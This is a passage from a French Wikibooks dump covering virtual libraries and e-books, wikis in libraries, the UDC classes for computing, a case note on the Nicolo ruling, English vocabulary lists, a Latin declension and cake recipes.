n'ont pas la même signification pour les uns ou les autres. Le tour de ces termes et des concepts qu'ils dissimulent s'impose. En philosophie comme dans le langage courant, est "virtuel" ce qui existe en puissance seulement. Dans le domaine de l'informatique, on utilise le terme virtuel pour désigner des services (banque, casino, bureau,...) accessibles (parfois uniquement) via un réseau télématique ou Internet. Ainsi, lorsqu'il est question de "bibliothèque virtuelle", il n'est certainement pas question d'une "bibliothèque potentielle"... mais parle-t-on pour autant d'un service "en ligne" qui assure le prêt de livres papier ou sur support numérique? === Les bibliothèques virtuelles === En Communauté française de Belgique, on a baptisé Bibliothèque virtuelle, un concept lancé à l'occasion de la Fureur de Lire 2002 et réactivé l'année suivante. Dans le cadre de cette initiative du Service de la Lecture publique, des bibliothécaires se mettaient à la disposition d'autres bibliothécaires. Face à une demande de lecteur, un bibliothécaire pouvait interroger l'équipe de bibliothécaires via le site http://www.cfwb.be/bibliothequevirtuelle. C'est une utilisation plutôt rare du terme "bibliothèque virtuelle". Peut-être s'agissait-il davantage de "bibliothécaires virtuels" dans le sens où il n'oeuvraient pas en "présentiel". Au hasard des recherches sur le web, on rencontre d'autres bibliothèques virtuelles qui, cette fois, à l'instar du Site des sites en Communauté française (http://www.cfwb.be/annuairebiblio), se présentent davantage comme des annuaires ou, selon la terminologie usitée en France, des sitothèques. Pour ce qui concerne ce Site des sites, l'intitulé de la page peut se révéler trompeur puisqu'il évoque un "Annuaire des sites des bibliothèques de la Communauté française de Belgique" alors qu'il s'agit, comme indiqué plus loin, d'un "annuaire des sites répertoriés par les bibliothécaires de la Communauté française". === Les sitothèques === Une sitothèque peut rassembler des ressources très larges ou uniquement s'intéresser aux ressources liées à la bibliothéconomie. Un très bon exemple de sitothèque est la bibliothèque virtuelle de Savoie-biblio (http://www.savoie-biblio.com/bv/). Elle recense des sites destinés au public des bibliothèques municipales (fonds encyclopédique) et des sites susceptibles d'intéresser le personnel des bibliothèques départementales et municipales de leurs réseaux (fonds professionnel). Ces sites peuvent avoir été sélectionnés grâce à une grille d'évaluation. Dans le même genre, on peut épingler la bibliothèque virtuelle du site Les bibliothèques publiques du Québec (http://www.bpq.org/biblio_virtuelle.html) qui se veut un "répertoire de sites sélectionnés par des bibliothécaires pour répondre aux besoins d'information des usagers des bibliothèques publiques". Ou, dans le même esprit la Bibliothèque nationale du Québec (http://www.bnquebec.ca/bref/) a également inventorié des "ressources utiles" sur le web avec recherche via mots-clés, sujets, thèmes classification Dewey, auteurs (personnes et organismes). On peut encore citer la Bibliothèque Virtuelle de Düsseldorf (http://www.uni-duesseldorf.de/WWW/ulb/virtbi_f.html) avec page d'accueil en français. Le problème de ces sitothèques est qu'elles sont parfois le fruit de projets très ponctuels or, dans ce monde mouvant du web, il importe que l'outil soit entretenu. On s'aperçoit pourtant que ces sitothèques ne comprennent pas nécessairement de date de mise à jour ou que celle-ci est ancienne. En ce qui concerne les outils professionnels, la Bibliothèque virtuelle de périodiques (http://www.biblio.ntic.org) est un projet franco-québécois développé et mis à jour par une quinzaine de bibliothécaires et documentalistes qui, à ce jour, répertorie environ 500 revues et magazines électroniques offrant leur contenu (en tout ou en partie) sur Internet. Cette bibliothèque virtuelle utilise le système de catégories Dewey. A noter : une bibliothèque peut sans problème intégrer le système de recherche de cette bibliothèque des périodiques dans son site. Il est encore question de "bibliothèque virtuelle" dans le cas de sites, comme celui de l'Office québécois de la langue française (http://www.olf.gouv.qc.ca/ressources/bibliotheque/), qui, sous ce terme, rassemble les travaux (publications) produits par son personnel. === Les documents en accès libre === **[http://ena.lu/ ENA, l'European Navigator] La première bibliothèque numérique sur l'histoire de la construction européenne : Un accés libre et gratuit à un fonds documentaire riche de milliers de documents multimédias, multisources et multilingues retraçant plus d'un demi-siècle d'histoire de l'Europe unie et de ses organisations. Plus couramment, lorsqu'on évoque les bibliothèques virtuelles, on pense aux sites web où sont proposées gratuitement de très nombreuses oeuvres à l'instar du Projet Gutenberg (http://gutenberg.net) avec ses 7000 ouvrages. La bibliothèque virtuelle en langue française la plus connue est sans doute la Bibliothèque universelle (http://abu.cnam.fr) de l'Association des Bibliophiles Universels (ABU) qui favorise l'accès libre au texte intégral d'oeuvres (environ 300) du domaine public francophone sur Internet depuis 1993. L'initiative (bénévole) est sympathique mais le résultat peut désarçonner le lecteur puisque les textes redactylographiés ou numérisés (scannés avec logiciel de reconnaissance optique ou OCR) sont disponibles dans le format txt, donc sans mise en forme. Un format plus riche, le rtf, est utilisé dans cette Bibliothèque virtuelle (http://www.fsj.ualberta.ca/biblio) qui ''"s'est fixée pour objectif de recueillir les classiques de la littérature canadienne-française appartenant au domaine public et de les rendre disponibles sur le Web".'' B ooK en Stock (http://www.bookenstock.com) permet aussi l'accès aux classiques de la littérature française (téléchargeables en MS Reader et Adobe Acrobat) mais aussi publie des "auteurs en herbe". Il ne s'agit donc pas de bibliothèques au sens strict puisque d'une part les éditeurs de ces sites web ne sont pas reconnus comme tels et, d'autre part, leur fonctionnement n'est pas celui d'une bibliothèque. En effet, le lecteur ne doit pas nécessairement être inscrit et le livre n'est pas emprunté pour une période déterminée; aucun droit n'est réclamé. Une exception : la Net Library (http://www.netlibrary.com) qui propose pas moins de 37.000 eBooks mais demande une inscription via une bibliothèque affiliée. Gallica (http://gallica.bnf.fr), la Bibliothèque numérique de la Bibliothèque nationale de France offre l'accès à une sélection de documents numérisés exprimant la diversité des collections manuscrites, imprimées, artistiques, graphiques, audiovisuelles d'une des plus grandes et plus prestigieuses bibliothèques au monde. Le site permet ainsi d'accéder à un millier d'oeuvres des grands écrivains de France. Certaines oeuvres sont accessibles en mode image avec un fac-simile de l'original (format pdf) qui en conserve l'aspect visuel; d'autres sont présentées en mode texte permettant une recherche dans le texte. Gallica est l'illustration parfaite de ce que permettent les TIC à savoir l'accès à distance à des documents rares. Où, ailleurs que sur le web, accéder aussi aisément à des dictionnaires et lexiques (comme sur le site francophone Clic Net de l'Université de Swarthmore en Pennsylvanie - http://clicnet.swarthmore.edu/dictionnaires.html). === Les bibliothèques en ligne === L'expression "bibliothèque sur le web" désigne bien souvent la présence sur la Toile mondiale d'un site web d'une bibliothèque. Un tel site peut bien sûr présenter la bibliothèque, ses collections, sections et fonds, ses nouveautés et "coups de coeur", son organisation, ses horaires, son règlement,... sans pour autant dépasser le stade du "site dépliant". Certains sites peuvent néanmoins utiliser l'Internet pour permettre d'effectuer une recherche au sein d'un catalogue comme celui des Bibliothèques principales de la Ville de Bruxelles (http://www.bibcentrale-bxl.be) voire d'effectuer une réservation comme à la Bibliothèque principale de Morlanwelz (http://www.morlanwelz.be/socrate.htm). Mais il s'agit toujours de livres "matériels". === Les éditeurs virtuels === Par éditeur virtuel, on entend une maison d'édition qui propose des ouvrages à télécharger sur un ordinateur, un PDA (Personnal Digital Assistant), un support de lecture (livre électronique ou eBook), à imprimer. Eventuellement, l'ouvrage peut faire l'objet d'une impression (numérique) à la demande, l'ouvrage étant ensuite expédié au client. Pour l'éditeur, ce type d'édition évite les coûts liés à la production, au stockage et à la distribution des ouvrages. L'édition virtuelle permettrait de prendre de plus grands risques dans ses choix éditoriaux et de maintenir dans son catalogue des oeuvres plus difficiles ou anciennes. L'éditeur pionnier 00h00 (http://www.00h00.com) indique sur son site que celui-ci ''"a cessé toute activité commerciale (vente d'ouvrages numériques et papier). Il est désormais accessible uniquement à des fins de consultation".'' === Les librairies virtuelles === Si certaines librairies sont dites virtuelles ou en ligne, les livres proposés n'en sont pas moins classiquement des ouvrages "papier", qu'il s'agisse en Belgique de Proxis (http://www.proxis.be) ou, en France notamment, d'Amazon (http://www.amazon.fr) ou de Chapitre.com (http://www.chapitre.com) avec un important catalogue de livres anciens. Dans certains cas, le libraire est lui-même éditeur; c'est le cas des Éditions Cylibris (http://www.editions-cylibris.fr) qui se présentent comme ''"éditeur découvreur de talents"''.Ce type de librairie en ligne évite de se déplacer, permet une recherche aisée sur catalogue, peut vous proposer des conseils personnalisés (en fonction de vos recherches antérieures) ou vous permettre de suivre le parcours de votre commande (traçabilité). Les clients se voient aussi proposer des offres spéciales et réductions. Comme comptoir de vente de livres numériques, on peut citer Numilog (http://www.numilog.com). Ce ''"libraire numérique"'' s'adresse à tous les éditeurs auxquels il propose des services de numérisation et de conversion de leurs ouvrages à des formats de lecture numérique, de protection des droits d'auteur et de gestion de leurs ventes en ligne de livres numériques. Le métier de Numilog est donc d’adapter des titres papier afin de les transformer en livres numériques et de les distribuer de manière sécurisée depuis son site ou celui de partenaires en ligne. === Livres électroniques ou numériques === En 2001, la Foire du Livre de Bruxelles accueillait un "Village E-Book", une manifestation qui ne devait pas être renouvelée. Mais il est vrai que la "bulle de la nouvelle économie" a éclaté et que les différents acteurs de l'édition électronique ont été ramenés à un discours plus réalistes. Non, tout le monde ne compte pas lire des romans sur des "livres électroniques" ou e-books, à savoir des appareils de lecture spécialement dédiés et appelés Softbook, Rocket eBook, Everybook. Et puis, quel appareil (Cytale a fait faillite)? Le livre électronique semble avoir vécu (en attendant peut-être le développement de l'encre électronique ou des supports nomades plus conviviaux comme @folio). Comment a-t-on pu (faire) croire que le lecteur-consommateur était prêt à faire l'acquisition d'un support qui, d'une part, ne pouvait lui servir à d'autres fins (contrairement à un portable ou à un assistant personnel) et, d'autre part, ne pouvait lire qu'un format de document avec une proposition limitée d'ouvrages. Le livre numérique, lui, se porte bien! Mais pour autant qu'on ne veuille pas nécessairement en faire une affaire commerciale. Par "livre numérique", on entend non le contenant mais le contenu. Les "nouvelles" technologies permettent à chacun de devenir son propre éditeur. Ainsi, des ouvrages qui auraient dû, par le passé, être imprimés en Belgique francophone à un millier d'exemplaires même si la diffusion locale était moindre, sont aujourd'hui mis à disposition sur le web et peuvent être téléchargés. Ils sont donc accessibles de partout dans le monde et des publications (rapports, études,...) qui auraient été confidentielles sont ainsi promises à un beau rayonnement, tout au moins dans la même sphère linguistique. Bien sûr, on peut confier la réalisation de l'ouvrage à un éditeur en ligne - comme les éditions Luc Pire Electronique (http://www.lucpire.be/html/lpe/index.html) – qui devrait alors jouer son rôle d'éditeur. Mais il faut bien admettre que, quoi qu'on en dise, un ouvrage même auto-édité, ne risque pas d'être égaré dans l'immensité de la Toile pour autant qu'il ait bien été "référencé" auprès des moteurs de recherche. Mieux : de nombreux utilisateurs de moteurs de recherche utilisent la fonction "recherche avancée" en limitant la recherche au format Adobe Acrobat (pdf) sachant qu'il ne peut en sortir que des documents à plus haute valeur ajoutée. L'édition de documents numériques est particulièrement intéressante dans le domaine des revues scientifiques (juridiques, médicales,...). Celles-ci sont plus aisément gérables par les éditeurs spécialisés et plus accessibles pour les lecteurs. Les articles scientifiques peuvent cependant être gracieusement diffusés; ainsi, à l'initiative de chercheurs de Stanford et Berkely, la Public Library of Science (http://www.plos.org) s'est proposée de regrouper des articles scientifiques et médicaux dans des archives en ligne en accès libre (open access). L'Internet et l'édition en ligne (notamment via le populaire format pdf) donne une réelle visibilité à la ''"littérature grise"'' qui, selon la définition de l'AFNOR, comprend ''"tout document dactylographié ou imprimé, produit à l'intention d'un public restreint, diffusé hors des circuits commerciaux de l'édition, en marge des dispositifs de contrôles bibliographiques"'' c'est-à-dire les thèses, les rapports de recherches, certains comptes rendus de congrès et les pré-publications. ==== Les principaux formats de livres numériques ==== * Adobe PDF pour une lecture avec Adobe Acrobat Reader sur PC, Mac, Pcket PC et Palm OS ou Adobe Acrobat eBook Reader * Microsoft LIT pour une lecture avec Microsoft Reader sur PC, Pocket PC, Palm, Tablet PC. * Mobipocket PRC pour la lecture avec Mobipocket Reader sur PC, Pocket PC ou Palm Pilot, eBookMan, Psion ou les smartphones de Nokia, Sony Ericcson. * eRocket (.rb) pour une lecture avec le Rocket eBook * Palm PDB pour une lecture sur Palm, Pocket PC, PC ou Mac ==== Les avantages du livre numérique ==== * Il peut être téléchargé contre paiement électronique ou gratuitement 24 heures sur 24 et 7 jours sur 7 de n'importe quel point d'accès à l'Internet dans le monde. * En cas de vente, le livre numérique est souvent vendu moins cher que la version papier * Des livres ou revues numériques peuvent être achetés par parties, articles ou chapitres, en permettant de ne payer que pour le contenu qui intéresse le lecteur. * Les logiciels de lecture de livres numériques permettent de bénéficier de multiples fonctionnalités telles que l'agrandissement de la taille des caractères (pour les malvoyants), l'insertion de signets, la recherche de mots dans le texte, l'affichage de deux pages côté à côte, le zoom, la fonction audio, la navigation hypertexte au sein du livre ou vers des sites web, l'ajout de notes personnelles, ... * les livres numériques peuvent aisément être archivés (disque dur, cédérom) et transportés (PDA, ordinateur portable). * Les livres numériques ne sont par définition jamais épuisés. === Le prêt d'un livre numérique === Pas de problème pour les ouvrages dans le domaine public. Par contre, pour les ouvrages soumis à la protection des droits d'auteur, il faut savoir que la mise à disposition ou le prêt de cédéroms ou de documents numériques au public sont soumis à l'autorisation expresse des auteurs et/ou des éditeurs. Par ailleurs, certains ouvrages achetés et téléchargés ne peuvent être imprimés ou lus sur un autre support que le support de téléchargement ou être copiés. ---- * Pour vous rendre à la table des matières générale de [[BiblioTIC : l'informatique et l'Internet au service des bibliothèques]] --[[Utilisateur:Philippe Allard|Philippe Allard]] 23 mar 2005 à 14:39 (UTC) Les wikis en bibliothèques 2972 14517 2005-03-24T09:45:22Z 62.205.120.153 Mention de l'année d'apparition du wiki * Pour vous rendre à la table des matières générale de [[BiblioTIC : l'informatique et l'Internet au service des bibliothèques]] ---- Mais à quoi pourrait servir un wiki en bibliothèque ? Dans la mesure où le wiki est encore peu usité malgré son âge (le wiki est apparu en 1995), ses usages ne sont pas encore suffisamment répandus et étudiés. Plusieurs de ces usages seraient susceptibles d'intéresser une bibliothèque. === La présence sur le web === Un wiki, pour autant qu'il puisse être "personnalisé" (bannière, menu), peut se substituer à un site web classique et comprendre des pages consacrées à la bibliothèque, son histoire, ses horaires, sa règlementation, ses activités et animations, ses achats de documents, ses "coups de coeur",... Sa gestion peut être assurée par tout membre de l'équipe de la bibliothèque. === La préparation d'évènements === La bibliothèque organise ou prend part à une activité, seule ou avec des partenaires? Pourquoi ne pas la préparer avec un wiki où chacun peut intervenir. C'est un système utilisé pour les Rencontres d'Autrans en France (http://autrans.crao.net). === La gestion de projet === Le wiki permet de travailler à plusieurs personnes sur un projet, que ce soit à l'intérieur d'une bibliothèque, entre bibliothèques ou avec d'autres partenaires. On peut imaginer que le wiki soit l'espace de travail virtuel pour évoquer le développement d'un "espace public numérique" en bibliothèque, la création d'un catalogue commun de documents,... Il peut également s'agir de publications, qu'il s'agisse d'un document à usage interne (rapport d'activité) ou de documents destinés à une plus large diffusion (par exemple, une étude à partir d'un fonds de la bibliothèque). === Un espace de critique et de commentaire === Des pages wiki pourraient jouer le rôle de boîte à suggestion y compris dans le choix des documents à acquérir en bibliothèque. L'espace ouvert permet de ne pas restreindre l'expression. === La gestion d'une base de connaissances === Il peut être intéressant, dans une "entreprise" bibliothèque avec des travailleurs spécialisés qui ne sont pas nécessairement présents en même temps, de constituer une base de connaissances "entreprise" (sur la bibliothèque) et "métiers" à laquelle chacun peut se référer. === Le wiki comme ressource === Une encyclopédie sous forme de wiki comme Wikipédia (http://fr.wikipedia.org) est une ressource gratuite pour la bibliothèque. Il en ira de même des guides de voyages (http://wikitravel.org/fr/Accueil) ou des livres pédagogiques (http://fr.wikibooks.org). === L'animation en bibliothèque === Dans l'espace multimédia d'une bibliothèque, il peut être intéressant de proposer des initiations à ce nouveau mode de travail qu'est le wiki. On peut également travailler à partir de l'encyclopédie Wikipédia en estimant que chacun est détenteur de "parcelles de savoir" qu'il peut mettre à la disposition de tous sur cette encyclopédie. Par ailleurs, le wiki permet des exercices d'écriture collaborative (cf. le Projet Wikira). ---- * Pour vous rendre à la table des matières générale de [[BiblioTIC : l'informatique et l'Internet au service des bibliothèques]] TIC et CDU 2973 14518 2005-03-23T15:09:36Z Philippe Allard 245 Nouveau chapitre de BiblioTIC * Pour vous rendre à la table des matières générale de [[BiblioTIC : l'informatique et l'Internet au service des bibliothèques]] Les technologies de l'information et de la communication (TIC) ne sont pas oubliées par la classification décimale universelle (CDU). ''' 004 Informatique. Science et technologie de l'informatique''' 004.01 Documentation 004.02 Méthodes de solution des problèmes 004.03 Types d'architectures et caractéristiques 004.05 Qualité de système et de logiciel 004.07 Caractéristiques de la mémoire 004.08 Accessoires périphériques de mémoire 004.081 Carte perforée. Bande perforée 004.083 Carte magnétique. Bande magnétique 004.083.7 Disque magnétique. Disque dur. Floppy disque 004.085 Accessoire optique 004.085.2 C.D. Disque compact 004.085.22 CD-Rom 004.085.4 Vidéodisque 004.087 Accessoire électronique. Carte à mémoire '''004.2 Ordinateur. Configuration. Composants''' 004.22 Représentation des données 004.23 Instructions de mise en route 004.25 Système de mémoire ''' 004.3 Ordinateur. Le matériel''' 004.3'1 Production d'ordinateurs 004.3'2 Installation de l'ordinateur 004.31 Unité de traitement 004.32 Circuit d'ordinateur 004.326.1 Port. Accès 004.326.2 Entrée, emplacement pour carte 004.33 Unité de mémoire 004.332 Mémoire vive. RAM 004.333 Mémoire morte. ROM 004.35 Périphérique d'ordinateur 004.351 Lecteurs en général 004.352 Scanner 004.352.2 Scanner optique 004.352.24 Reconnaissance de caractère 004.353 Terminal vidéo. Ecran 004.353.4 Clavier d'ordinateur 004.354.5 Souris 004.355 Lecteur 004.355.085.22 Lecteur de CD-ROM 004.356 Imprimante 004.357 Périphérique multimédia 004.358 Périphérique pour réalité virtuelle 004.38 Types d'ordinateur 004.382 Ordinateur de type général 004.382.7 Ordinateur personnel. Micro-ordinateur. P.C. 004.383 Ordinateur particulier 004.384 Ordinateur pour l'industrie ''' 004.4 Ordinateur.Logiciel. Programme''' 004.41 Conception de logiciel 004.42 Programmation d'ordinateur 004.43 Langages d'ordinateur. Langages de programmation 004.435 Métalangages 004.45 Types de logiciel 004.49 Virus '''004.5 Action de l'utilisateur''' 004.55 Hypermédia. Hypertexte '''004.6 Données''' 004.63 Fichier 004.65 Banque de données ''' 004.7 Ordinateurs en réseau''' 004.72 Configuration en réseau 004.73 Types de réseau 004.738.52 L'internet (WWW) 004.773 Messagerie électronique (e-mail) 004.78 Système on-line pour usage spécifique '''004.8 Informatique. Intelligence artificielle 004.9 Mise en application de techniques informatiques__''' 004.915 Edition assistée par ordinateur 004.92 Infographie 004.923 Vue stéréoscopique 004.928 Animation 004.93 Traitement d'image 004.94 Simulation par ordinateur 004.942 Simulation par modèle mathématique 004.946 Réalité virtuelle ---- * Pour vous rendre à la table des matières générale de [[BiblioTIC : l'informatique et l'Internet au service des bibliothèques]] Droit administratif/La jurisprudence/Niccolo 2974 41196 2006-04-29T15:49:56Z Pseudomoi 395 +xat CONSEIL D’ETAT – NICOLO – 20 octobre 1989 Revirement de jurisprudence Contrôle de conventionalité du juge administratif == Les faits == A l’occasion d’une protestation dirigée contre les résultats des élections européennes de juin 1989, M. Nicolo contestait la compatibilité de la loi du 7 juillet 1977 relative à l’élection des représentants de la France à l’Assemblée des communautés européennes avec les stipulations de l’article 227-1 du traité de Rome. Sur le fond, cette contestation ne soulevait pas de difficulté. Cependant le CE pouvait, sur le fondement de la jurisprudence qui avait prévalu jusque-là, répondre qu’il ne lui appartenait pas de se prononcer sur la compatibilité d’une loi postérieure à un traité mais il pouvait aussi, rejoignant ainsi la position adoptée en 1975 par le Conseil Constitutionnel puis par la Cour de Cassation, accepter de contrôler la compatibilité d’une loi postérieure avec les stipulations d’un traité. == Le point de droit == L’arrêt Nicolo a donné naissance à un véritable contrôle de conventionalité du juge administratif. Le CE a accepté de contrôler la compatibilité d’une loi postérieure avec les stipulations d’un traité. Ainsi, il a été amené à préciser la valeur juridique des traités par rapport aux différents actes de droit. Désormais, je juge administratif ne s’interdit plus d’écarter les dispositions d’une loi qui seraient incompatibles avec les stipulations d’un traité ou d’un accord régulièrement ratifié ou approuvé, alors même que la loi serait postérieure au traité. == Analyse des motifs == En vertu des dispositions de l’article 55 de la Constitution, il appartient au juge administratif de contrôler la compatibilité entre les traités internationaux et les lois françaises même postérieures. En l’espèce, ne sont contraires à l’article 227-1 du traité de Rome les dispositions de l’article 4 de la loi n° 77-729 du 7 juillet 1977 relative à l’élection des représentants à l’Assemblée des communautés européennes qui prévoient que les personnes ayant, en application du chapitre premier du titre premier du livre premier du code électoral, la qualité d’électeur dans les DOM-TOM ont aussi cette qualité pour l’élection des représentants au Parlement européen. == Portée de la solution == Un revirement de jurisprudence a été opéré par l’arrêt Nicolo. Depuis cet arrêt le CE estime devoir lui aussi se conformer aux prescriptions de l’article 55 de la Constitution. Le CE fait prévaloir les traités et accords sur les lois, même postérieures. Cela a conduit le CE à étendre progressivement le bénéfice de l’article 55 de la Constitution à l’ensemble des actes de droit communautaire qu’il acceptait donc, le cas échéant, de faire prévaloir sur les lois : *les règlements : 24 septembre 1990 Boisdet *les directives Ass. 28 février 1992 SA Rothmans International France et SA Philip Morris France. [[Catégorie:Droit administratif|{{SUBPAGENAME}}]] Electricité 2975 14520 2005-03-23T18:35:44Z Jean-Jacques MILAN 114 Electricité déplacé vers Électricité #REDIRECT [[Électricité]] Anglais : Politics and government 2977 34040 2006-02-23T05:28:54Z 60.229.239.53 __NOTOC__ == Democracy : ''la démocratie''== ==== a party : ''un parti''==== ''the Tory Party'' : ''''''le parti conservateurs<br />the Conservatives'''' : ''les Conservateurs''<br />the Labour Party : ''le parti travailleur''<br />the Liberals : ''les Libéraux''<br />the Republican Party : ''le parti républicain''<br />the Democratic Party : ''le parti démocrate''<br />communism : ''le communisme''<br />a communist : ''un communiste''<br />socialism : ''le socialisme''<br />a socialist : ''un socialiste''<br />an anarchist : ''un anarchiste'' ==== to vote : ''voter'' ==== a ballot : ''un scrutin''<br />a candidate : ''un candidat''<br />a candidacy, a candidature : ''une candidature''<br />to be left-wing : ''être de gauche''<br />to be right-wing : ''être de droite''<br />the first round : ''le premier tour''<br />the second round, the run-off : ''le deuxième tour''<br />the presidencial elections : ''les élections présidentielles'' '<br />an activist : ''un(e) militant(e)'' == Monarchy : ''la monarchie''== the King : ''le roi''<br />the Queen : ''la reine''<br />an Emperor : ''un empereur''<br />an Emperess : ''une impératrice''<br />a prince : ''un prince''<br />a monarch : ''un monarque''<br />the royalty : ''la royauté''<br />a kingdom : ''un royaume''<br />the throne : ''le trône''<br />nobility : ''la noblesse''<br />an earl : ''un comte''<br />a countess : ''une comtesse''<br />a duke : ''un duc''<br />a duchess : ''une duchesse''<br />a monarchist : ''un monarchiste''<br />the coronation : ''le couronnement'' == Dictatorship : ''la dictature'' == a tyrant : ''un tyran'' <br />a dictator : ''un dictateur''<br />a coup : ''un coup d'état''<br />totalitarian : ''totalitaire [adj]'' == a state : ''un Etat''== a nation : ''une nation''<br />a citizen : ''un citoyen''<br />direct democracy : ''la démocratie directe''<br />representative democracy : ''la démocratie représentative''<br />a people's republic : ''une république populaire'' == civil rights : ''les droits civiques'' == to demonstrate : ''manifester''<br />a demonstration : ''une manifestation''<br />a demonstrator : ''un manifestant''<br /> == a minister : ''un ministre'' == a ministry : ''un ministère''<br />the Prime Minister (PM) : ''le premier ministre''<br /> <br />the Senate (USA) : ''le sénat''<br />Congress (USA) : ''le congrès''<br />the House of Representatives (USA) : ''la chambre des représentants''<br />the House of Lords (GB) : ''la chambre des lords''<br />the House of Commons (GB) : ''la chambre des communes''<br />the parliament : ''le parlement''<br />a Member of Parliament (an MP) : ''un député'' ---- Cette page est dérivée du projet [http://fury.language.free.fr/wikini/wakka.php?wiki=EngFraMathsGeometry Fury Language] ---- Retour au [[Enseignement de l'anglais|sommaire]] ---- Latin/Leçon 7 2980 45924 2006-06-26T19:55:31Z Guillaumito 46 [[Latin : leçon 7]] déplacé vers [[Latin/Leçon 7]]: politique de nommage == La 2ème déclinaison (neutre) == {| border="3" |+ La deuxième déclinaison : templum, templi : le temple ! Cas ! Singulier ! Pluriel |----- | Nominatif | Templ'''um''' | Templ'''a''' |----- | Vocatif | Templ'''um''' | Templ'''a''' |----- | Accusatif | Templ'''um''' | Templ'''a''' |----- | Génitif | Templ'''i''' | Templ'''orum''' |----- | Datif | Templ'''o''' | Templ'''is''' |----- | Ablatif | Templ'''o''' | Templ'''is''' |} Vous remarquerez que beaucoup de terminaisons sont similaires à celles de la deuxième déclinaison au masculin et au feminin. Anglais : Religion 2982 39635 2006-04-05T05:39:40Z 194.57.209.15 __NOTOC__ == Christianity : ''le christianisme'' == God : ''Dieu''<br />Christ : ''le Christ''<br />the Holy Church : ''la Sainte Eglise''<br />Good Friday : ''le vendredi saint''<br />the Holy Land : ''la Terre sainte''<br />the Blessed Virgin : ''la Sainte Vierge''<br />the Holy Ghost : ''le Saint Esprit''<br />a bishop : ''un évêque''<br />a priest : ''un prêtre''<br />a monk : ''un moine''<br />Clergy : ''le clergé''<br />to pray : ''prier''<br />a prayer : ''une prière''<br />to say one's prayers : ''dire ses prières''<br />to offer prayer : ''dire la prière''<br />the mass : ''la messe''<br />to go to mass : ''aller à la messe''<br />to celebrate mass : ''célébrer la messe''<br />to bless : ''bénir''<br />a blessing or a benediction : ''une benediction''<br />to give the benediction : ''donner sa bénédiction'' === Protestantism : ''le protestantisme'' === a protestant : ''un protestant'' a minister : ''un pasteur'' === Catholicism : ''le catholisme'' === the Pope : ''le pape''<br />the Holy Father : ''le Saint Père''<br />His Holiness : ''sa Sainteté''<br /> === Orthodoxy : ''l'orthodoxie'' === == Islam : ''l'islam'' == Muslims : ''les musulmans''<br />the Koran : ''le coran''<br />an imam : ''un imam''<br />a verse : ''un verset'' == Judaism : ''le judaïsme'' == Jews : ''les juifs'' <br> Torah : ''la Thora'' <br> Sephardic Jews : ''les Séfarades'' <br> Ashkenazi Jews : ''les Ashkénazes'' <br> rabbi : ''un rabbin'' <br> == a church : ''une église'' == a cathedral : ''une cathédrale''<br />a abbey : ''une abbaye''<br />a monastery : ''un monastère''<br />a basilic : ''une basilique'' a pilgrim : ''un pèlerin''<br />a pilgrimage : ''un pèlerinage'' <br /> ---- Retour au [[Enseignement de l'anglais|sommaire]] ---- Cuisine:Quatre-quarts 2983 19631 2005-08-20T14:31:22Z Antoinel 182 __NOTOC__ == Ingrédients == *5 œufs (à température ambiante) *le poids des œufs en farine (environ 250 g) *le poids des œufs en sucre (environ 250 g) *le poids des œufs en beurre (environ 250 g) fondu *7 g de levure chimique (facultatif mais conseillé) == Matériel == *un saladier de préparation *un moule à quatre-quarts beurré == Préparation == #Préchauffez le four à 180 °C pendant 20 minutes. #Dans un saladier, mettez la farine, le beurre fondu, le sucre, les œufs entiers, ajoutez la levure chimique et mélangez bien l'ensemble. #Versez la pâte dans le moule beurré et faites cuire au four durant une heure, à la température de 180 °C. Pour vérifier la cuisson : un couteau planté doit ressortir sec. #Il est possible de parfumer la pâte avec :<br /> le zeste de 4 citrons râpés<br /> ou le jus d'un citron<br /> ou le jus d'une orange == Variante 1 (quatre-quarts mousseux) == === Ingrédients === * 2 oeufs * 130g de sucre * 130g de farine * 130g de beurre === Préparation === * Séparer le blanc des jaunes. Mélanger les jaunes avec le sucre. * Faire légèrement chauffer le beurre au micro-onde pour le ramolir. L'ajouter au mélange jaunes-sucre. * Tamiser la farine et l'ajouter à l'appareil en mélangeant. * Battre les blancs en neige et les ajouter délicatement. * Beurrer un moule, y verser la préparation. * Faire cuire au four 3/4 d'heure à 175°C. {{Cuisine:Desserts}} Cuisine:Fraisier 2984 14528 2005-04-21T17:06:26Z Guillaumito 46 {{Cuisine:Desserts}} __NOTOC__ == Ingrédients == <br /> Génoise : Farine : 0.125 kg. Sucre : 0.125 kg. Œuf : 4 pce. Beurre : 0.08 kg. <br /> Crème mousseline au kirch : Lait : 0.5 L. Jaune d'œuf : 4 p. Sucre semoule : 0.10 kg. Farine : 0.065 kg. Gélatine : 3 feuilles. Beurre : 0.25 kg. Kirsch : 0.05 L. <br /> Sirop : Eau : 0.3 L Sucre semoule : 0.3 Kg. Alcool de fraise 0.05 L. <br /> Décor : Fraise : 0.75 kg. Sucre glace : 0.1 kg. Fondant : 0.25 kg. Pâte d'amande: 200g == Préparation == ====Génoise==== #Tamiser la farine. #Dans un bain-marie, monter les œufs et le sucre jusqu'à obtenir une température de l'appareil de 45 à 50°C. (attention le bain marie ne doit pas être trop chaud au départ ; coagulation rapide des œufs) A ce moment, retirer l'appareil du bain marie et le battre jusqu'à refroidissement (l'appareil forme le ruban). #Incorporer délicatement la farine tamisée et le beurre fondu. Étaler l'appareil sur une plaque recouverte de papier sulfurisé. #Cuire à 220 °C. Retirer le papier et refroidir. ====Crème mousseline==== #Tremper la gélatine dans l'eau froide. Faire une crème pâtissière avec tous les ingrédients sauf le beurre et le kirsch. #Dans la pâtissière chaude incorporer à l'aide d'un batteur la gélatine et 0.125 kg de beurre. Incorporer encore 0.125 kg de beurre dans la pâtissière froide.. Battre jusqu'à ce que la crème foisonne. Parfumer au kirsch. Réserver au froid (la crème doit commencer à prendre afin de pouvoir l'utiliser correctement) ====Sirop==== Porter à ébullition l'eau et le sucre. Faire bouillir une minute. Refroidir et parfumer. ==Montage== Découper les feuilles de génoise en disques. Dans un cercle sans fond chemisé de rhodoïd, déposer un biscuit et l'imbiber. Contre les bords, coller quelques tranches de fraises et garnir de crème mousseline. Déposer dessus le deuxième disque de génoise imbibé. Décorer la surface avec de la crème mousseline en faisant un décor de vagues. Bloquer au froid positif. ==Dressage== Démouler les fraisier, déposer sur chacun une fraise glacée au fondant. Déposer le fraiser dans un coin de l'assiette. Découper/ etaler de la pâte d'amande sur le dessus du fraisier {{Cuisine:Desserts}} Cuisine:Recettes à base de viande 2990 14534 2005-05-26T07:30:03Z Jérôme 321 Lien correct pour le bœuf *[[Cuisine:Recettes de volaille|Recettes de volaille]] *[[Cuisine:Recettes de boeuf|Recettes de bœuf]] *[[Cuisine:Recettes de porc|Recettes de porc]] 